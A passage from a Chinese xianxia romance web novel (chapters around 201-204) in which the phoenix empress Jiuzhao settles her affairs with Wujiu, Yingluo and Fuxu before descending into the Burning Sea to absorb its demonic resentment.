生怕再多看几眼,自己就会控制不住魔气,陷入红瞳暴走的状态。 无咎侧开面孔,选择将目光定在空瘪的右手袖口。 九昭却不似近侍般见好就收:“南陵仙气充沛,凤凰神树亦被本座用烛龙的颌下珠唤醒,只要本座愿意,亦可运用神力使焦土再生,奈何你等一身魔气,无法吐纳仙元修行,更无纯净之力回馈凤凰神树,不出千年,神树终将枯萎,而你们也将因为魔气耗尽难以为继,再度退居焚业海苟活。” 九昭漫不经心的言语,似一把捅入海蚌的刀刃。 撬开坚硬的外壳,刺破柔软的内里。 无咎以肉掌击碎座椅扶手,霍然起身:“帝座今日前来,便是要提醒臣,凤凰族永无归途么?” 赤红在紧绷的眸底弥散,理智彻底断裂,他不管不顾低吼道:“是!我无时无刻不想重回故土,想摆脱这身令人作呕的魔气!凤凰是向火而生的种族!焚业海却没有太阳,只有永世的寒冷! “——可我还能如何?我又能如何?! “全都回不去了! “这些你懂吗!!” 吼声在屋内回荡,泛开绝望的嘶哑。 无咎攥着心口衣襟,重重喘气。 像是被自己突如其来的失控惊住,又像是耗尽了所有力气。 须臾过后,他陡然噤声,只剩下难堪的沉默。 九昭没有因他的冒犯而动怒。 她静静听完,倏忽开口:“本座懂得。” 她向来坚定的眸光掠过极短暂的恍惚,“天晓得,我有多想回到……过去住在离恨天的日子。” 观花品茶,舞鞭弄琴。 不知世事,不问因果。 无咎怔住,满腔沸腾的悲愤,被九昭眼中泄露的罕见柔软钉在原地。 “我没有这个机会了。” 九昭聚焦视线,落回他面孔,“但你,或许还有。” 无咎找了半天,才找到自己的声音: “……什么,意思?” 仙魔之隔,亘古如此。 仙族可以借助业火淬炼完成蜕变,但从未有过魔身回逆的先例。 “本座会以身净化焚业海怨力。” 九昭声量不高,却字字千钧,“怨力既消,魔气自绝。届时,世间再无仙魔之分。” 无咎瞳孔骤缩,难以置信地看着她:“你……如何能做到?祖神显灵,莫非就为此事?” “否则你以为,祖神为何愿意现世?” 九昭不答反问。 “为何……” 无咎喉头发紧,心跳如擂鼓,一下一下冲击着胸腔。 某种混杂着错愕、怀疑、不解,以及一丝渺茫希望的、难以言喻的情绪席卷而来。 他仍强自镇定,维持着最后的警惕:“为何要告诉我?帝座合该瞒着我——瞒着所有魔族才是。” 他刻意加重“魔族”二字,借此提醒两人间的身份界限。 怨力庞大,想要消解,非顷刻之功。 哪怕九昭未曾全部道明,无咎亦明白,个中过程,九死一生。 难保不会有魔族在掌握这个消息后,暗自筹谋,再兴风浪。 九昭默了瞬。 支起的格窗外,俶尔风急,气流卷带枝杈上端的娇嫩花叶,萦至她的赤红裙边。 “其实,这件事到目前为止,你是第一个知晓的。” 她指尖微捻,轻轻夹住一片,唇畔凝起些许真心笑意:“本座愿意告诉你,也是因为,真正心胸叵测、会起兵造反之辈,不会如你这般,将忠诚与怀疑终日挂在嘴上,将所有情绪都写在眼里。” 这话抛开君臣之别,透着几分戏谑揶揄。 分明不是什么好意,亦在暗嘲他愚笨,心无城府。 无咎却无端觉得,如同那日得兰祁旨意,相随出游—— 彼此间的关系似乎在无声中近了些。 长久盘桓在心中的怨怼再度消散几分,他抬起头,想趁着“畅所欲言”的良机再争锋两句。 余光却见九昭唇角的弧度,隐隐转向怅然: “更何况……你与我,终究都是凤凰。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 200-203 201| 第201章 ◎“如此,便足够了。”◎ 九昭离开时, 无咎的神色与她到来之际别无二致。 眉峰紧蹙,目光沉郁而审慎,仿佛终年不化的寒冰。 他微微垂头, 拱手作揖, 道出那句无可挑剔的:“恭送帝座。” 九昭转身,袍袖轻拂,背脊挺直。 她能感觉到背后那段目光的重量,深深烙在她身上, 探究而压抑。 直到九昭的脚步踏出门槛,无咎依旧没有移开视线—— 她摸不准自己那番话,是否能够在他心底激起一丝涟漪。纵使身负无边法力, 他们到底不是全知全能,无法窥见彼此真心,只能在重重迷雾与隔阂中,揣度前行。 南陵的天空依旧朗澈。 日光洒在檐廊之下, 明媚得有些刺目。 九昭驻足片刻, 未与任何人告别, 身影便散作光尘,消失在原地。 半炷香过后, 她重返凤凰族那片沦为焦黑的故土。 巫劭率部反叛那日的凤火, 吞噬了周遭的一切。 残垣断壁,死寂无声, 空气中弥漫着陈旧难闻的气味。 九昭脱掉鞋袜, 以足底肌肤触及, 一面慢慢行走, 一面感知着焦土深处残存的生机。 她的左右指间, 各自燃起黑蓝与赤红辉映的火光, 随着手掌相合,力量合二为一,注入土地。 阴阳二火,既能重塑生命,亦可唤醒死壤。 火焰流淌过处,焦黑褪去,嫩绿新生。 圣地四周,化作枯枝的梧桐重新萌发葱茏的细叶,在九昭施法带起的阵风之中瑟瑟婆娑,像是在等待昔日非甘泉不饮,非梧桐不栖的身影到来。 九昭立于树下,亦站在火中。 她遥望高台之上虬结苍劲的凤凰神树,脑内却想象起年少居于此处的母神面容。 怨怪凤凰族这么多年。 她曾深恨他们对于母神的背叛,恨他们令流淌相同血脉的自己处境难堪。 如今,爱恨终于分明。 她也终于能够同自我达成和解。 …… 今日是休沐,但九昭所余不多的生命没有闲暇。 结束南陵旧事,估算着时间,她前往西海看望瀛罗。 复生虚弱的他,被西神王温养在鲛人族法宝内,前几日堪堪彻底苏醒。 “帝座!” 卧在寒玉床上静憩的他,瞧见九昭到来十分激动,挣扎着下床来迎接。 却因长久不行走而动作生疏,一个左脚绊右脚,差点摔倒在地。 九昭眼疾手快,连忙用无形之力将他托住,这才避免了又一场意外的发生。 “不必多礼。” 望着瀛罗亮晶晶如初生幼犬的眼神,九昭有些无奈。 她撤去法术,改为用双手将他搀扶。 用眼神屏退左右,她带瀛罗回到床上,而后直奔主题,扯开包裹颈项的衣襟。 “快吸。” 一线雪白的肌肤露了出来,配上九昭岿然的声线,毫无香艳之色。 瀛罗怔住,略感茫然。 他的瞳孔转动着,不知该落于何处。 却在这时,一股清甜馥郁的异香徐徐钻入鼻腔。 无需刻意辨别,几乎瞬间,瀛罗便确定了香气来自九昭的肌肤。 它不同于九昭常用的玫瑰膏脂,更近似甜润的花蜜,令瀛罗几乎克制不住意欲埋首其中。 “帝、帝座,不可……” 强烈的渴求翻涌在心头,青年不由滚了滚喉结。 可暗恋九昭多年,他已习惯了恪守规矩,不敢过分逾越。 他用尽最后的理智,试图移开自己的视线。 一只指腹生有硬茧的手却将他的下颌掐住,迫使他抬起头来,望向自己的眼睛。 “阿罗,听话。” 那双眼睛鲜红欲滴,如魔似魅。 睫毛一阵轻颤,瀛罗便全然失去理智,顺着她的心意,唇瓣贴上细腻的侧颈。 兽化显形的獠牙,轻而易举扎破九昭卸除防御的肌肤。 咕咚、咕咚,小口啜饮起她蕴含浓郁生命力的鲜血。 磅礴的能量涌进四肢百骸,瀛罗的眸光益发迷离,呼出带着极致满足与战栗的鼻息。 “哈……” 他双颊泛红,吸到不能再吸之际,歪头餍足地靠在九昭肩头平复呼吸。 秀美面容附着层晶莹薄汗,如同晨光中一朵被露水打湿的栀子。 九昭半阖眼睑,忍耐着生命力流失带来的微眩,喃喃道:“委屈你了……不过很快,就不会了。” 片刻,瀛罗清醒,惊觉失态,慌忙退开请罪。 “无妨。” 九昭拉好衣物,语气平淡,“你且运转力量试试。” 瀛罗连忙凝神内观。 发觉果然好了许多,按照法力的精纯程度,甚至更胜他作为天仙的从前。 只是,那股力量再也不是他所熟悉的水系仙力,非仙非魔,难以言喻。 瀛罗知晓,自己能复活已是奇迹。 那日桃林内,与九昭双手交握的刹那,他立刻失去了意识,直到魂魄归体方才苏醒。 过后,他旁敲侧击追问过父亲复活之法,只得到讳莫如深的回应。 瀛罗不傻,这显然是九昭不愿旁人提及—— 九昭不愿的事情,他从来不会强行为之。 譬如此刻,他同样选择压下心中疑惑,没再开口询问。 既然能醒过来,往后的时日还长,他只盼能够逐步走到九昭身畔,一点一点融化她的心。 对未来的憧憬在瀛罗眸底闪烁,就在此时,九昭的声音再度响起,打断他的思绪: “还有几日便是你的生辰了。” 三千年过去,她……还记得他的生辰? 瀛罗下意识抬眸,神色带着几分受宠若惊:“劳帝座挂心,只是……又非整岁生辰,何须……” “不一样。” 九昭伸手,指尖划过他的耳廓,替他挽起鬓角碎发,“这是为了庆祝你的新生。” 浮动在九昭眉眼间的表情很淡,可她的动作又是那样柔和。 手指与皮肤稍触即分,她复从衣袖中掏出个刻有篆文的流光锦盒。 瀛罗的心顿时被暖意填满,苍白的面孔亦勾起动容的笑意。 然而,九昭将锦盒放入他的掌心,又状似无意地说道: “不过,我还是希望留份惊喜给你,不如等到生辰那日,再将锦盒开启。” 锦盒里装有的无它,唯有九昭在穹煌指引下,分裂而出的一半生命力。 足够瀛罗活到老迈,活到子孙满堂,活到仙生腻味为止—— 她闭上嘴,说给瀛罗听的话到此为止,未吐露的后半截在心头默响:等到你生辰那日,我早已在奔赴焚业海,吸收怨气的路上,料你就算想还,也没处去找我了。 瀛罗对她的心事一无所知,只笑着点头。 眼中光彩闪烁,是前所未有的明亮:“好,都听帝座的!” 能侥幸死而复生,有些心意,他也不愿再藏着掖着。 他深吸一口气,聚焦的瞳眸深深望入九昭眼底,声音徐缓而坚定:“帝座,臣……我心悦您,万年以来,始终如此。从前胆怯踌躇,不敢唐突,如今死过一次,更觉世事无常,有些话语,若不及时说出口,恐再无机会——我知道此言于您而言,是大胆僭越,我愿受任何责罚,但此心……天地可鉴。” 弹指,殿内陷入短暂的寂静。 九昭看着这张从容矜持不复,唯余一片赧然的面孔,不知为何,突然感到刺痛。 她并非今时今日才懂得瀛罗的心意。 早在瀛罗替她挡剑赴死之后,她就已经从西神王口中得知。 万年的陪伴相知,她对瀛罗的感情,在某一瞬早已变质。 它绝对不是纯粹的友情,或许也并非男女之间的爱情。 九昭唯一可以确定的是。 若提出想要勇敢迈开那一步,努力尝试的人是瀛罗。 她会放下猜忌、犹疑、不确定…… 微笑答应。 奈何。 那时,是已错过。 而今,却是来不及。 万般情绪缠绕交织,最终化作一片无望的决绝。 九昭躲开青年的视线,沉声吐出精心编织的谎言:“阿罗,谢谢你的心意……可惜我无法回应。为了掌握至高的阴阳之火,为了从焚业海厮杀回归,我已放弃爱恨情/欲,再也不会爱上任何人。” 她顿了顿,继续用那种平静到残忍的语调,祝福道: “希望你……日后能寻到一位真正两情相悦之人。” 瀛罗眼中的光芒陡然暗淡下去,失落和痛楚分外清晰地闪过,仿佛风中明灭不定的烛火。 但他很快又重新振作起来,努力挤出一个笑容,摇了摇头: “没关系,爱慕您是我自己的事,从来都是。哪怕您舍弃了七情六欲,哪怕您永生永世都不会爱上我,也无法阻止我的心意。我会永远守护您,无论发生任何事,我都将站在您的身后—— “如此,便足够了。” 202| 第202章 ◎“进入我,把一切都看清楚!”◎ 日至三竿。 晨议已毕, 九昭正埋首于案牍之中,处理各位仙臣上禀的事务。 朱笔奏折空白处堪堪写下两字,殿外忽而有足音传来。 侍官快步行至大殿, 跪下拱手道:“帝座, 凤凰族族长,在外求见。” 九昭持笔的手指一滞,微挑的眉峰带着几分惊讶。 无咎,怎会来此? 虽碍于她仙魔共主的身份, 焚业海与三清天达成了微妙的关系,井水不犯河水。 但如无必要,两界绝不会互越雷池半步。 上午结束仙族集议, 用过午膳,她自会摆驾焚业海,召见各位魔臣。 究竟有何要事,非急迫到她在紫微宫时便要禀告? 忖度之间, 九昭收敛心神, 平声道:“宣——引凤凰族长前往偏殿。” …… 坐落在东南方向的偏殿, 不似紫微正殿那般威严肃穆。 临窗设着茶案室椅,常用于会客对酌。 九昭到时, 无咎已提前等候在廊下, 望着庭院里一株四时盛开的古梅。 听到脚步声,他转过身, 目光与九昭一触即分, 而后略显生硬地作揖行礼:“帝座。” “凤凰族长不必多礼, 坐吧。” 望着青年些许不自在的神色, 九昭一指长案对面的室椅。 手边女婢适时奉上两盏清茶, “今日求见本座, 所为何事?” 无咎没有立即说话,他用指腹摩挲着那雕有山水浮纹的茶盏边缘,生等着殿门掩落,所有无关人等退下,方道:“南陵故土经帝座神力复原,生机已复,族人们迁回后,一切安好……臣多谢帝座。” 他道谢的语气没有任何起伏。 说起这些无甚要紧的闲话,干巴巴的,好像在背诵经文。 九昭安静听着,没有打断,她知道这绝非他来的目的。 果然,几句过后,无咎的话锋突兀一转。 他抬起头,视线灼灼看向她:“您真的决意要以身为器,吸收肆虐在焚业海中的怨力吗?” “君无戏言。” 言简意赅,明晰坚定。 配上九昭坦然的目光,无端叫人想要跟随其后,交托信任和生命。 无咎在一刹那被这个简短的答案击中,放在膝头的左手亦沉默握紧。 他垂落眼睫,从九昭的视野望过去,唯独紧绷的下颌,好似在委婉宣告主人的欲言又止。 良久,他仿佛下定决心,指间法光一闪,一根流光溢彩的凤羽顿时躺在掌心。 九昭一眼认出那是每只凤凰皆有的本命翎,不知为何,却比寻常的尺寸还要大出数倍。 无咎单手将它递了过来,动作僵硬依旧,更偏开眼神,继续望向别处: “怨力盘踞在焚业海万万年,岂是那么好解决的——此行注定艰难,但到底算好事一件,若真能做成,我凤凰族亦受益良多——所以,为免欠下人情,族内所有成年凤凰,皆自愿拔下本命翎,汇聚于此,盼能——盼能在帝座吸纳怨气之时,护持帝座一二,略尽绵薄之力。” 如此馈赠,不可谓不珍贵。 九昭亦是凤凰,清楚每根本命翎都象征着一条生命。 她感知着一缕缕蕴含在凤羽中的、浓郁至纯的生机,凝神许久,复问:“你的,也在其中?” 话音出口,无咎活像被踩中了尾巴,猛地转回头,声量不自知地拔高: “当然!我凤凰族上下同心,自是同甘共苦—— “我为族长,焉有独善其身的道理!” 青年瞪圆狭长的凤眼,抿紧的薄唇真实传递出被质疑的恼怒。 而他没有说出口的是,此刻九昭捏在手心的这根,便是他的。 族内成年的凤凰,少说也有数百,他们拔下的本命翎如同一座小山,怎能轻易携带。 是他以自己的本命翎为容器,承载融合了全族的力量—— 这也意味着,他所承受的消耗远非他人可比,而维系这份力量的核心,也始终落于他身。 没有煽情的言语。 也没有跪倒在地宣誓忠诚。 无咎的言语甚至依旧冲人。 但这份沉甸甸的心意,以及背后所象征的,凤凰族对九昭这位仙魔共主真正的支持和顺服—— 已然无声传递。 九昭心口微暖,抬手将本命翎收入储物戒中,真诚道:“这正是本座需要的,如此,便多谢凤凰族的厚谊。” 见她利索收下,没有絮絮叨叨些肉麻的话,无咎暗自松了口气。 天晓得,他从来不擅长应付着需要靠嘴说的场合。 但松气归松气,他来此,另有一件事要完成。 然后,这又涉及到要张开嘴说。 好容易放松的肩膀再度紧绷起来,青年的眸光苦恼地闪烁着。 就在殿内气氛又要陷入沉默之时,他冷不丁开口,视线游移: “……有酒吗?” 九昭稍稍一怔,随即了然。 有些心结与过往,或许确实需要酒的辛辣来冲刷,才能迈出那一步。 她颔首,以密音吩咐侍官:“取我珍藏的万年陈酿来。” 醇厚的酒香很快取代了茶香,弥漫在偏殿之中。 两人对坐,相视举杯。 玉樽隔空一碰,所有未尽之言,过往的恩怨纠葛,似乎都在这杯酒中融化、消散。 一饮而尽,酒液滚入喉肠,熨帖四肢百骸。 仿佛找到了情绪的宣泄口,无咎一杯接着一杯,大有要不醉不归的架势。 九昭却心系后续政务,一边陪饮,一边悄然运转法力。将侵入体内的醉意排出,眸色始终清明。 没过多久,无咎便醉了。 酒意上涌,冲垮了他平日里的高傲。 他趴在案上,脸颊酡红,眼神迷离,开始含糊不清地嘟囔: “九昭……我、我就是不喜欢你…… “谁叫、初见时……你掀了我的酒桌,还、还踩住我的袖子……” 他胡乱地说着,语无伦次。 时而抱怨她的决绝,时而不小心吐露心声: “可是……偏偏……我又忍不住服你…… “你这狠心的女人……怎么就、怎么就……” 听着他这些醉后胡言,九昭哭笑不得,只觉头疼,挥手招来侍官: “凤凰族长醉了,妥善送他回南陵,务必确保安全。” 侍官领命,小心扶起烂醉如泥、仍在咕哝的无咎退下。 殿门开合,拂入一丝凉风,却吹不散那浓烈的酒气。 九昭独坐案前,看着杯中残酒,复变出本命翎,一遍又一遍地细细端详。 鼻尖挥之不去的酒味令她感到胸闷。 又或者,是压上的赌注越大,越不容有失的沉重萦绕于心。 她缓慢起身,决定出去走走。 推开殿门,侍候两侧的仆婢们不见踪影,唯有身穿缃黄袍服的扶胥无言伫立。 日辉倾泻在身,他似要与之融为一体。 暖融到模糊的光晕中,唯有一双充斥复杂的瞳眸格外清晰。 九昭眉间一跳。 观他神情,方才她与无咎的话,怕是已然听了进去。 既然撞见了,也好。 九昭想到,有些事,终究需要交代。 她走到他面前:“你都听到了?” 扶胥并不点头或摇头,视线定格在她掌中本命翎上,嗓音低沉:“帝座……非如此不可吗?” “嗯。” 九昭淡然应道,径直说了下去,“正好告知你,我既去焚业海吸收怨气,注定无法活着归来。命你继位的旨意,放在紫微宫正殿的匾额之后,就不提前交给你保管了,以免引人疑窦,横生枝节。 “待我走后,侍奉我的仙官会宣读我的亲笔手书,再在众臣面前取出旨意,一切便可顺理成章。” 她的安排冷静而周全,仿佛不是在交代身后事。 而是在叮嘱一场寻常的政务交接。 扶胥缄默听到此刻,终于开口,问出了那个盘旋在他心头的问题: “既知此去必死无疑,为何还要去?” 九昭闻言,竟是勾唇浅笑一下。 那笑意里呈现几许讶异,好似没想到他会问出这样的问题。 “这话,可不像是本座所认识的那位,永远克己奉公、以大局为重的扶胥上神口中会说出的。” 打趣完毕,她玩笑的语气转变为一种无谓的淡漠,“牺牲我一个,换取天下太平,这是笔再划算不过的买卖,更何况,无人逼我,这是我自己的选择,我心甘情愿。” 她以为扶胥会理解。 会像过去无数次那样,将他的、自己的、乃至所有人的好恶,放在时局之后。 然而,青年常年冷峻的面孔上,却骤然裂开缝隙,涌现出分明而炽烈的怒意。 他踏前一步,迫至她眉睫,几乎是低吼出声:“你就这么不在意你的性命吗?!当年如此,现在依旧如此!一次又一次!你让我觉得……让我觉得我曾经的所作所为,都成了一场彻头彻尾的笑话!” 九昭被这突如其来的激烈情绪惊得愣怔,眼中俱是疑惑:“扶胥,你……” 她不明白,最该理解她的人—— 当下的反应为何如此失常。 扶胥死死盯着她,胸膛上下起伏。 忍无可忍,他猛地伸出手,一把抓住九昭的手腕,力量之大,叫她惊觉吃痛。 “进/入/我,把一切都看清楚!” 咬牙切齿说完,他通过神力牵引,对九昭开放了脑中识海。 枯守三千多年的真相,在九昭眼前尽数展开。 她被动闯进青年的意识深处。 猝不及防……看到了当年。 203| 第203章 ◎“我不爱你了。”◎ 无数画面纷至沓来。 九昭看见满脸担忧的扶胥, 抱着已然力竭昏死过去的自己,跪坐在扶桑神木顶端的圣殿中。 那本应该为考试优胜者加冕的神器辉天镜,却突然对他降下神谕。 那神谕昭示着, 仙魔战争的终局, 他与兰祁的同归于尽。 以及九昭爱他入骨,甘愿自断生机换他性命的决定。 惊愕、痛苦和不敢置信在青年眼中交错出现。 画面再度流转,竟是他夜入辉天殿,消耗自身一半寿数, 推衍未来的场景。 辉天镜给出的,依旧是同样的答案。 这一次,所有情绪尽数化为绝望。 扶胥仿佛认命, 随着眼角温热的泪水滑落,他缓缓闭上双目。 …… 景象停顿在此,戛然而止。 九昭的意识被推出,重新回到冰冷的现实。 扶胥那原本紧握着的手, 不知在何时松开。 陡然失去凭依, 九昭踉跄后退半步, 堪堪稳住身形,视线再次望向前方——与记忆里闭目认命的青年相反, 站在她面前的扶胥鼻息急促, 双颊因激动的情绪微微泛红,眸底好似在酝酿狂风暴雨。 原来, 当年他那般干脆地签下合理书, 用最无情的言辞推开她, 并非迫于辅佐储君的责任同她成婚, 实则心底从未有过她, 而是窥见了必死的未来与她殉身换他的结局。 为了掐灭那天命注定的, 她因爱而走向毁灭的可能—— 他宁愿亲手斩断情丝,默默承受她所有的不解与恨。 沉默在廊下蔓延。 两人之间相顾无言的气氛,与庭中繁花烂漫的景象形成鲜明对比。 有许多话堆积在齿关,即将破口而出。 九昭下意识侧头,躲开扶胥过于激烈的眸光,望向身后长案上倾倒的酒瓶。 知晓真相又如何呢? 时至今日,纵有千言万语,她也失去了诉说的资格。 对于将死之人而言,所谓破镜重圆,不过是勉强将碎片拼凑齐全后,再用死讯将它打得更碎些。 扶胥应该有更好的生活,无谓再对她留恋不舍。 极力克制住翻涌的心绪,九昭重新转过头,轻声道: “嗯,辉天镜预言得没错,抵命殉情,确实像是当年的我会做出来的事。” 她的语调无谓,仿佛在随口点评与己无关的狗血戏文。 这种事不关己的态度,将扶胥脑海最后一丝理智烧毁。 他抓住她的肩膀,指节因用力而逼出毫无血色的苍白:“你为何还要用这样的语气说话?你明明都看到了,不是吗?当年我那样是为了让你活着——而你现在又在做什么,难道非要走到哪一步吗?! “我愿意代替你去—— “如若非要献祭一人,我宁愿死的是我!!” 他快要被九昭出格的镇定逼疯。 热泪簌簌滑落眼睑,将色淡的薄唇染就一片淋漓水意。 九昭却只是静静望着他,反问道:“既然当年能够维持理智,克制情感,选择你认为最正确的道路,为何现在又做不到了呢?就因为发现我终究还是会走向死亡,你所付出的代价毫无意义?” 不等扶胥开口,她忽然勾唇,对他笑了笑,再次往他心口精准而利落地补刀: “扶胥,你应该明白,不是死亡才叫失去,早在三千年前,你就已经彻底失去我了。” 被双手握紧的肩膀,瞬间失去炽热的体温和叫人疼痛的力度。 青年的嘴唇翕动着,步步倒退,却发不出任何声音。 他因九昭的一语道破而狼狈,更因她的“笑说失去”而心如死灰。 九昭不再注视他眼底的波澜,错身走向庭外。 她伸出手去,穿过飞檐遮挡,轻轻捧住一缕暄暖的日光: “错过了就是错过了,纵使我们有无边神力,也无法令时光倒流,人心,亦是如此。 “你此刻告诉我当年的真相,为的是我心软动容,放弃吸收怨气的决定,留下来和你重新开始吗? “扶胥,你不妨问问自己,以牺牲苍生福祉的代价,来换爱情,光是心里这一关,你可过得去? “更何况,我已经不爱你了,你再也影响不了我分毫。 “谁也不会永远按照你的心意,停留在原地,沉沦在过去的痛苦里。” 慢慢把话说完,她回首,目光澄澈如镜,倒映着扶胥惨白近死的脸,释然地呼出口气,“我明明有更广阔的天地可以翱翔,有更崇高的使命需要完成——我的目光,早已不在那些小情小爱之上了。” 扶胥恍惚地看着九昭沐浴在阳光下的身影。 从她逐渐明亮起来的眼睛里,他第一次体会到了比当年亲手推开她时更尖锐、更彻底的痛苦。 那是一种被时间抛下的无措和冰凉。 世事在向后流逝,九昭也在义无反顾地往前走,走向她选择的终局,走向没有他的未来。 唯有他,被辉天镜的一句谶语钉死在了三千年前的那个抉择点上。 守着自以为是的秘密,看着彼此的关系从甘愿相互赴死的爱侣,变成她是孤高疏离、心怀苍生的仙魔共主,而他,只是那万千俯首称臣的跪影中,最模糊且稀松平常的一张面孔。 他们是解开了当年的心结。 但心结长久扎根在体内,拔除时留下的尖锐倒刺,造就了永不愈合的伤口,日夜作痛。 九昭的语气声再次响起,放缓了些,却仍旧不容置疑: “我们之间,隔了太多的人事,太多的时光。早已不是当年模样。” “若你依然要执着于‘爱’这个字,”她默了瞬,目光掠过他,望向紫微宫巍峨的殿宇,望向普天之下,身处四方的众生,“不妨去爱我们共同的目标——让这三界,真正实现安居乐业、海晏河清。” “本座虽有力量,运筹帷幄、制衡各方的手段却是不够。 “除开这身血脉,你远比我更加适合坐上仙魔共主的位置。 “但血脉又有何用? “臣民只会因君主的贤明而真正心悦诚服。 “扶胥,我相信你会比我做得更好,也唯有你,值得我真正放心。” 与三千年前相似的话语,再次从九昭口中说出。 不知为何,扶胥突然想起那年那夜。 她在他面前揭开白绸,半睁着一双愁云怨雾的眼,咬唇说道: “阿胥,一日夫妻百日恩,我连连遭逢背叛,再加上出了杏杳是内鬼这档子事,三清天剩余的那些上神和神王,我不知他们深浅,更不敢全然相信——眼下,唯一可堪托付的,也只有你了。” 一日夫妻百日恩。 他们做了千年夫妻,或许唯有忍耐心痛,奉上全部,方可报偿女君昔年情隆。 …… 最后的光芒,从扶胥眸底熄灭。 他弯曲膝盖,缓慢跪了下去,叩首在地:“臣,遵循帝座旨意。” 话落,他没有再多看九昭一眼。 起身,一步一步退出偏殿。 …… 人走风寂,九昭长久地站在原地,注视着青年远去的背影。 半晌,她折返案前,执壶为自己斟满一杯。 这次,她没有运转力量将醉意排出。酒液入口的须臾,手边浮出巫逐人首龙身的面孔。 他凑近来,歪着头,被白绸覆盖的双眼对着她,幽幽问道:“你当真半点都不爱他了吗?” 九昭举杯的手顿住。 她未立即回答,只是垂头望着玉樽里倒映的曚曚物影。 窗外梅花飘落,殿内万籁阒然。 她又自顾自饮下大口,就着满案孤寂道: “或许吧。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 204| 第204章 终章(上) ◎“怨气,散尽了。”◎ 决定去死的那一日, 似乎同往常并无半分不同。 天色是再普通不过的晴朗。 碧空如洗,万里明煦。 南陵的梧桐林里,新生的雏凤们叽叽喳喳, 它们绒羽未丰, 尚未幻化出人形,毛球似地团挤在枝桠的巢穴之中,仰着嫩黄的小嘴,急切地向父母讨要吃食。 那清脆盎然的鸣叫, 穿透葱郁叶影,传至焚业海王都。 打着哈欠的魔族小贩们慢悠悠支起摊位,埋头准备着夜间集市要贩卖的各色小吃。 油炸面点的滋滋声、炖煮肉汤的咕嘟声、以及大量香料被碾碎的窸窣声, 其间还混合着琐碎的闲聊笑骂,为王都向来阴沉肃杀的气氛,平添几分难得的热闹和温情。 一切的一切,皆充斥着一股周而复始的平静。 仿佛天道所构建的秩序亘古如此, 亦将永远延续下去。 在踏进传送阵的前一瞬, 九昭再度垂眸, 细细俯瞰这片为她所有的世间。 温暖、热闹、喧嚣。 以及平凡的喜悦,和庸俗的挣扎。 看似微不足道, 却是她最终选择的意义所在。 阵法开始流转。 脚下的繁复篆文渐次亮起。 视野尽数的景色被大片光芒吞噬。 再一眨眼, 阴风裹挟着腐烂尸/体的气息扑进空间之内,几乎叫九昭窒息。 传送阵完成使命, 光亮彻底熄灭。 天地之间, 唯一的光源, 只剩下无处不在的业火。 草植、鸟兽、虫蚁, 任何与生命有关的事物都绝无可能在此存活。 那股令人作呕的死物气味, 似乎只是阻止人探索深入的幻觉。可唯有九昭明白, 它真实存在,源于地壳的最深处,是那汇聚了无数怨气的罪恶之核——虚魔罗身上,所散发出来的气息。 它如同一个贪婪且无极限的胃囊,时刻吮/吸着魔族子民内心滋生的每一丝负面情绪,从中攫取强大力量,而后再将经过淬炼的怨气吞吐出来,用以侵蚀天空大地,扭曲理智人心。 传送阵仅能抵达这片死亡之域的地表。 九昭抬起脚步,根据灵台内穹煌的指引,走向通往地心的入口。 随着她的逐步靠近,成片安静悬浮的业火陡然狂躁起来,扑至她的鞋边,企图将不速之客杀死。 九昭却并不畏惧。 她加快动作,从走到跑。 如灵活的雨燕飞奔在焦土之上,接着毫不犹豫地纵身一跃,跳进火光最猛烈处的那条地缝。 远超迄今所受之最的极寒陡然降临,从头到脚,将九昭吞没。 相隔一层厚壳,地下的世界,仍然被业火占据。 且九昭真切感觉到,离怨气之核越近,它们释放的力量便越强大。 若非她有祖神穹煌的帮助,早早将其掌握。 恐怕进入地缝捱不过顷刻,就会成为这无间地狱中的一抹灰烬。 绝对的寂静里,九昭屏住呼吸,掌心各释放一股业火,化作防御屏障,坚定向下飞行。 终于,在触及一片如有实质的虚空之后,她被迫停了下来,再无法寸进分毫。 面前铺天盖地的业火陡然分开,一团不停蠕动着的黑影徐徐爬出。 九昭难以形容它的模样。 像是不掺水液的墨汁,浓重且黏腻。随时随地都有恶心的触角从内伸出,抓住悬浮在周遭的小片怨气,再猛地收缩回去,明明没有长嘴,九昭却能听见清晰的、咯滋咯滋的咀嚼声音。 又是一阵愈发浓郁的恶臭来袭。 九昭皱起眉头,喉咙深处发出比黑影的进食,还要响亮的作呕声。 她不愿多待一刻,正要行动—— 那黑影却遽然一晃,竟幻化成她的模样,连眉眼间的嫌恶都别无二致。 “死在这里,你真的甘心吗?” 仅有眼黑,全无眼白的目光齐刷刷对准九昭,虚魔罗开口,似无数怨毒低语在她耳边嗡鸣,“你所统御的那些两族臣民,又有几个真心敬你爱你?为他们而死,值得吗?” 它试图撬开一丝缝隙,播下动摇的种子,以便后续彻底侵蚀这具伟力通天的躯体。 但话未说完,九昭的拳头已裹挟着锐不可当的冲势,狠狠击碎了虚妄的幻象。 “少废话,”她的话音异常强硬,“我甘不甘心,你今日都必死无疑!” 一击得中,幻轻而易举象溃散,重归黑影。 趁着这个间隙,九昭指尖凝出无咎赠予的本命翎,迅速按进自己额心。 凤羽渗入,变作暖流护住她的灵台命脉。 九昭的心定了定,转眼撤去防御之力,将那滔天的怨力疯狂吸收进掌心。 “不自量力!” 虚魔罗立即冷嘲出声。 它在焚业海的地心盘踞了万万年,过去不是没有仙魔察觉到威胁,前来想要将它铲除。 但那些人到最后,都成为了它的粮食,为它的延绵壮盛增添助力。 九昭也不会是例外。 怨气无穷无尽,凭她一人之躯,又能承受几许? 虚魔罗随即释放出更多触角。 每根触角都附着最本源的怨毒,触角向前延长,唯余顶端的几寸紧接着又生长出更多。 黑蛇般的触角团团包围九昭,有些甚至主动钻进她的掌心,向着她的灵台发起攻势—— 企图将她自内而外,占为己有。 怨气钻入体内,很快捕获了九昭内心深埋的负面情绪。 封冻皮肉,腐蚀神魂的剧痛下,虚魔罗不忘继续以谗言挑拨,引诱她早点放弃抵抗。 “真可怜啊…… “今日你若殒命在这里,可有人会知道,可有人会真的在意? “是你的父亲、爱人、臣子,那些簇拥在你身旁,令你交付信任的人辜负了你! “明明最该死的是他们—— “来啊,只要你与我合为一体,三界将匍匐在我们脚下—— “所有伤害过的你皆会以最悲惨的下场死去!” 九昭没有回应。 额心的本命翎绽放灼然光华,始终守护着心智的清明。 奈何虚魔罗身上的怨气太过强大,每成功抵御一次,都相当于损失掉一只凤凰的性命。 支付的代价庞然若此。 今日无论如何,自己都不得后退半步! 她咬紧牙关,承受着非人的痛楚,不顾身体的容纳极限,再度加快了吸收怨气的速度。 …… 